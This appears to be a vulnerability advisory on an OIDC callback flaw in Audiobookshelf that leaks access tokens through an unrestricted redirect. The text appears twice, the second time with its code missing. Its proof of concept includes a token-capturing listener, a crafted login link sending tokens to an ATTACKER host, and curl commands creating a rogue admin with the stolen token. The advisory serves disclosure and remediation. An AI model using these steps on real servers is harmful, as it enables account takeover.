Summary
Yesterday when looking through Auth.js I found this interesting comment:
// TODO: do we want to somehow limit the values for auth_cb?
I thought this was intriguing – and as it turns out: yes, the comment was right, the value should definitely be limited.
Right now, Audiobookshelf takes whatever callback the attacker sets, saves it in the auth_cb cookie, and later redirects the user to that URL with setToken and accessToken attached as query parameters.
This makes it trivial for an attacker to send a crafted login link and have Audiobookshelf hand over the victim’s tokens to any server they control.
OAuth/OIDC best practice requires strict allow‑listing of redirect URIs and forbids placing tokens in URLs because they leak via logs, history, and the Referer header. Impact: full account takeover; if the victim is an admin, the attacker can create persistent admin users.
Details
Root cause (RP implementation bug).
Inside the server logic, a handler stores a user‑supplied callback in a cookie (e.g., auth_cb). After a successful OIDC login, the server reads that cookie and issues a 302 redirect to:
<auth_cb>?setToken=<JWT>&accessToken=<JWT>&state=<...>
This forwards tokens to an arbitrary attacker URL. Because this forwarding occurs after the Identity Provider (IdP) has already redirected back to Audiobookshelf, even a strictly configured IdP (exact redirect URIs) cannot prevent the leak - the relying party (RP) itself discloses the tokens. Delivering tokens via the front channel contradicts OAuth Security guidance.
Secondary leakage via Referer.
After the redirect, the browser calls POST /audiobookshelf/api/authorize with Authorization: Bearer <accessToken>, and the Referer header contains the prior /login/?setToken=…&accessToken=… URL, propagating both tokens to server logs, intermediaries, and any same‑origin receivers. This is a well‑known reason tokens must not be placed in URLs.
Missing allow‑list for web flow.
Audiobookshelf exposes an “Allowed Mobile Redirect URIs” whitelist for native clients, but the web flow (/auth/openid) still honors a free‑form callback and forwards tokens to it. OAuth/OIDC requires exact matching of registered redirect URIs, and allowing arbitrary or wildcard redirects is insecure.
PoC
Prerequisites
- Audiobookshelf with OIDC enabled and reachable at
https://audio.example.com (example).
- Keycloak (or any OIDC IdP) configured with redirect URIs on the Audiobookshelf origin. No attacker domain is needed on the IdP, since the leak is RP‑side.
1) Start a minimal listener
python3 - <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("[+] request:", self.requestline)
print(self.headers)
self.send_response(302)
self.send_header("Location", "https://audio.example.com/login")
self.end_headers()
HServer = HTTPServer(("0.0.0.0",8080), H)
print("[*] Listening on http://0.0.0.0:8080 ...")
HServer.serve_forever()
PY
2) Send the victim the malicious login link
https://audio.example.com/audiobookshelf/auth/openid?callback=http://ATTACKER:8080/capture
3) Victim authenticates at the IdP
After returning to Audiobookshelf, the app issues:
GET /capture?setToken=<JWT>&accessToken=<JWT>
The listener logs the full incoming request, including the leaked token.
After capturing the token the listener redirects the victim to the normal login page as if the authentication just failed.
The victim is likely to retry the login, which will succeed, leaving them unaware that their token has already been compromised.
4) Use the stolen access token
ACCESS="<stolen accessToken>"
# Confirm identity
curl -k -H "Authorization: Bearer $ACCESS" https://audio.example.com/audiobookshelf/api/me
# If the victim is admin, create a new admin user
curl -k -X POST https://audio.example.com/audiobookshelf/api/users -H "Authorization: Bearer $ACCESS" -H "Content-Type: application/json" --data-binary '{"username":"pwned","email":"[email protected]","password":"1234","type":"admin","isActive":true,"permissions":{"download":true,"update":true,"delete":true,"upload":true,"accessExplicitContent":true,"accessAllLibraries":true,"accessAllTags":true,"selectedTagsNotAccessible":false,"createEreader":true},"librariesAccessible":[],"itemTagsSelected":[]}'
Impact
- Who is impacted: Any Audiobookshelf deployment using OIDC. No special IdP misconfiguration is required.
- Attacker capability: An attacker who can entice a user to click a link can obtain the user’s tokens. With an admin victim, the attacker can create persistent admin users, change settings, and access all content.
- Data exposure: Tokens appear in attacker logs, browser history, reverse‑proxy logs, and as
Referer to same‑origin endpoints.
Affected Versions
By reviewing the Git history (git blame) of the redirect logic, I found that the vulnerability has been present since the initial introduction of OIDC support in version 2.6.0.
I confirmed that the issue is still exploitable in the latest release (which I am on), 2.26.3.
Remediation
- Remove or strictly restrict
callback in the web flow. Allow only same‑origin relative paths or a tight HTTPS allow‑list; enforce exact matching.
- Never place tokens in URLs. After code exchange, deliver tokens via HttpOnly, Secure, SameSite=Strict cookies or via a same‑origin JSON response. Add
Referrer-Policy: no-referrer (or strict-origin) as defense‑in‑depth.
Summary
Yesterday when looking through
Auth.jsI found this interesting comment:// TODO: do we want to somehow limit the values for auth_cb?I thought this was intriguing – and as it turns out: yes, the comment was right, the value should definitely be limited.
Right now, Audiobookshelf takes whatever callback the attacker sets, saves it in the auth_cb cookie, and later redirects the user to that URL with setToken and accessToken attached as query parameters.
This makes it trivial for an attacker to send a crafted login link and have Audiobookshelf hand over the victim’s tokens to any server they control.
OAuth/OIDC best practice requires strict allow‑listing of redirect URIs and forbids placing tokens in URLs because they leak via logs, history, and the
Refererheader. Impact: full account takeover; if the victim is an admin, the attacker can create persistent admin users.Details
Root cause (RP implementation bug).
Inside the server logic, a handler stores a user‑supplied
callbackin a cookie (e.g.,auth_cb). After a successful OIDC login, the server reads that cookie and issues a302redirect to:This forwards tokens to an arbitrary attacker URL. Because this forwarding occurs after the Identity Provider (IdP) has already redirected back to Audiobookshelf, even a strictly configured IdP (exact redirect URIs) cannot prevent the leak - the relying party (RP) itself discloses the tokens. Delivering tokens via the front channel contradicts OAuth Security guidance.
Secondary leakage via
Referer.After the redirect, the browser calls
POST /audiobookshelf/api/authorizewithAuthorization: Bearer <accessToken>, and theRefererheader contains the prior/login/?setToken=…&accessToken=…URL, propagating both tokens to server logs, intermediaries, and any same‑origin receivers. This is a well‑known reason tokens must not be placed in URLs.Missing allow‑list for web flow.
Audiobookshelf exposes an “Allowed Mobile Redirect URIs” whitelist for native clients, but the web flow (
/auth/openid) still honors a free‑formcallbackand forwards tokens to it. OAuth/OIDC requires exact matching of registered redirect URIs, and allowing arbitrary or wildcard redirects is insecure.PoC
Prerequisites
https://audio.example.com(example).1) Start a minimal listener
2) Send the victim the malicious login link
3) Victim authenticates at the IdP
After returning to Audiobookshelf, the app issues:
The listener logs the full incoming request, including the leaked token.
After capturing the token the listener redirects the victim to the normal login page as if the authentication just failed.
The victim is likely to retry the login, which will succeed, leaving them unaware that their token has already been compromised.
4) Use the stolen access token
Impact
Refererto same‑origin endpoints.Affected Versions
By reviewing the Git history (git blame) of the redirect logic, I found that the vulnerability has been present since the initial introduction of OIDC support in version 2.6.0.
I confirmed that the issue is still exploitable in the latest release (which I am on), 2.26.3.
Remediation
callbackin the web flow. Allow only same‑origin relative paths or a tight HTTPS allow‑list; enforce exact matching.Referrer-Policy: no-referrer(orstrict-origin) as defense‑in‑depth.